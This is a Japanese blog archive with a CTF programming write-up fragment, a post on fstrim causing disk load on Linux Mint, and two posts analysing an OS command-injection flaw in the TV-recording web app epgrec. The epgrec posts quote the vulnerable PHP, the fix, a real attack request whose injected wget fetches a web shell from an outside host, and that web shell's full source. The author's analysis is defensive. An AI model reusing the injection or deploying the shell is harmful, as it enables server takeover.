556459593, 2124483131, 2159881254, -3749776183, -2956358028, -525066711, -181583130, 804390823, 1740090484, -793541476, -771482074, 3981865877, -1781852942, 1733051694, -1229826280, -1252056066, 2302429424, -127597216, 584347400, 3201495296, 3793190324, -3792414033, 1778463825, 3285874942, -2696920906, 2556983581, 4058759995, 98217082, -2611145952, -324523284, -3921510686, 4250415544, -3727489945, -1627669983, -3852674381, 4156209840, 1684566595, -559196578, 331587419, 2164599710, 1250638363, 2661376500, -3009444945, 274000465, 3379372586, 3614523634, 4171421938, 619691208, -611617890, 1790148465, -2489245162, -1565675134, -2352506611, 1996182388, -3737895020, 4166992857, -1384468141, 3603231049, 418250494, -1170383247, -4207411230, -1371190709, -2836728233, -1687718214, -605700096, -3148453710, 1719740456, -1854546036, -3313019035, 3529400825, 3170707133, 60340683, -858105108, 2774783484, 4110192850, 908959548, -166441903, -2216610426, -2582470585, 2612317046, 2524067276, -2097902704, -3952326444, 3689731992, 1755793330, 3127603599, 162955011, 381420595, 1091122758, 4131177934, 971526781, 1344495679, -893926365, -1557417848, 457045675, -2006055280, -2434870581, 2715139040, 704942641, -1699474743, -721176381
The minimum number? 
-4207411230
Congratulations!
The flag is SECCON{Programming is so fun!}

Traceback (most recent call last):
  File "./programming_resolver.py", line 37, in 
    main()
  File "./programming_resolver.py", line 14, in main
    answer = solve(rcvmsg)
  File "./programming_resolver.py", line 28, in solve
    number_list.append(int(i))
ValueError: invalid literal for int() with base 10: 'Congratulations!'
最後にParseに失敗しているのは、サーバから飛んでくる文字列形式が異なるからで、(゚ε゚)キニシナイ!!。

一部 XSS Bonsai という問題で、Windowsが無いと問題に挑戦することすら出来ない問題があり、
私はLinuxしか手元にない為、どんな問題だったのかそれだけ見ることが出来ませんでした・・。
wine でも動作せず・・・。 CTFはプロプライエタリソフトウェアを持っていることが前提なのでしょうか・・・。

2014年12月3日水曜日

負荷の正体はなんなんだ!?定期的に重くなるLinux mint 17 (qiana)

久しぶりにブログ書きます。

私はLinux mint MATE を日常的に使っているのですが、ここ数ヶ月の間
たまに何も自分では処理をさせているつもりがないのにOS全体がもっさりと
重くなることがありました。

今までずっと原因がわからずにいたのですが、今日判明して嬉しくなってこのエントリを書いていますw

状況ですが、OS起動して数分後から突然ストレージアクセスランプが点灯しっぱなしに十数分程
なってしまい、何をするにもIO待ちになってしまいます。

ストレージアクセスランプが光っぱなしなので、IO負荷がかかっていることは容易に分かっていたのですが
じゃあ、どのプロセスがIO負荷をかけているのか?までは掴みきれていませんでした。

今回重い腰を上げて、色々調べてみましたところ、Linuxには「iotop」という素晴らしいコマンドがありました。
このコマンドを実行すると、IO負荷が高いプロセス順にtopコマンドのような出力が得られました。

で、今回判明したプロセスはこれ
「fstrim」

初めて見るコマンドですが、こいつがIOを99%奪い続けていました。
なんだろうかと調べてみると、どうやらUbuntu 14.04ベースのLinuxでは
一週間に1回、自動的にこのコマンドを定期実行するように最初から
スケジューリングされていることが判明しました。

/etc/cron.weekly/fstrim

にしっかり定義されています。

このコマンドは、WindowsでいうところのHDDのデフラグみたいなコマンドらしい。
定期的に実行することでIOパフォーマンスが劣化しないようにしてくれてる模様。

PostgreSQLのvacuum みたいなイメージかなぁ・・・。
Linuxにもこの手のコマンドあるとは知りませんでした。

なんかたまにIO負荷ががくんと十数分上がりっぱなしになって原因がわからず
困っている人の何かしらの参考になれば・・・。

2014年2月23日日曜日

「続編」epgrecの脆弱性を検証する

前回 epgrecの脆弱性について検証しましたが、しばらく対策について
記述していませんでした。
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での
対策について検討したいと思います。

fork版の開発者から、修正パッチが出ているのでそれを適用します。
http://d.hatena.ne.jp/katauna/20140118/1390017028

パッチ内容を確認します。

$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET['script'] ) )
- $epg_rec = $_GET['script'];
-else
- exit();
 if( isset( $_GET['time'] ) )
  $rec_time = $_GET['time'];
 else
@@ -15,8 +11,21 @@
 
 echo 'EPGの初回受信を行います。'.$rec_time.'分程度後に<a href="'.$settings-%3Einstall_url.'">epgrecのトップページ
を開いてください。';
 
-@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
-
+if( isset( $_GET['script'] ) ){
+ $epg_rec = $_GET['script'];
+ switch( $epg_rec ){
+  case '/getepg.php':
+  case '/shepherd.php':
+   @exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
+   break;
+  default:
+   $alert_msg = '不法侵入者による攻撃を受けました。['.$_SERVER['REMOTE_HOST'].'('.$_SERVER['REMOTE_ADDR'].")]\nSCRIPT::[".$epg_rec.']';
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings->spool.'/alert.log', date("Y-m-d H:i:s").' '.$alert_msg."\n", FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?>
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに
限定されている為、これで攻撃は防げると思います。
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。

# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・

2014年1月21日火曜日

epgrecの脆弱性を検証する

epgrecの脆弱性が巷で話題になっているようなので検証してみたい。
この辺を参照

epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し
詳しく言うといわゆるWebアプリケーションである。

今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記
epgrec/install/step5.php
if( isset( $_GET['script'] ) )
        $epg_rec = $_GET['script'];
else
        exit();
if( isset( $_GET['time'] ) )
        $rec_time = $_GET['time'];
else
        exit();

echo 'EPGの初回受信を行います。'.$rec_time.'分程度後にepgrecのトップページを開いてください。';

@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );

exit();

このスクリプトに「OSコマンドインジェクション」の脆弱性がある。
@exec( INSTALL_PATH.$epg_rec.' >/dev/null 2>&1 &' );
この部分、外部から「script」というパラメータで受け取った値を
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで
OSコマンドインジェクション攻撃が成立してしまう。

今回の攻撃リクエストは下記
87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] "GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol HTTP/1.1" 200 148 
"-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" 

これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。
http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/(ユーザー名)/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&time=lolol
これのURLエンコードされている部分(wgetのあたり)をデコードすると
;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。 wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや 保存ファイル名を指定するオプション。 今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で epgrec_shell.txt をダウンロードさせた事になる。 クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。 そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら
epgrec_shell.txt
<?php 
 header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i < TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i < TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = "0" + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="GET" action="">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
 for($i=0;$i<strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET['cmd']) { 
 if($_GET['sjis']==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET['cmd']),"SJIS","UTF-8"));
 else 
  $cmd = trim(urldecode($_GET['cmd'])); 

?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
 $cmd = "(".$cmd;$cmd .= ") 2>&1";
 if (!$_GET['type']) {
  system($cmd);
 } elseif ($_GET['type']==1) {
  passthru($cmd);
 } elseif ($_GET['type']==2) {
  echo (exec($cmd));
 } elseif ($_GET['type']==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?>
</pre>
</p>
<?php } ?>
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと これはバックドアだ。 テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが 実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。 大抵の人が「www-data」になると思われる。 下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して 任意のコマンドが実行可能になっている。
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら 処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか 現段階ではちょっとわからない。
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] "GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1" 200 843 "http://mint-rec.local/epgrec/thumbs/tv.php" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
これではどんな任意のコマンドを実行したのか丸見えなので難読化(?)している意味がない。

一先ず今日はこの辺まで・・・。
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。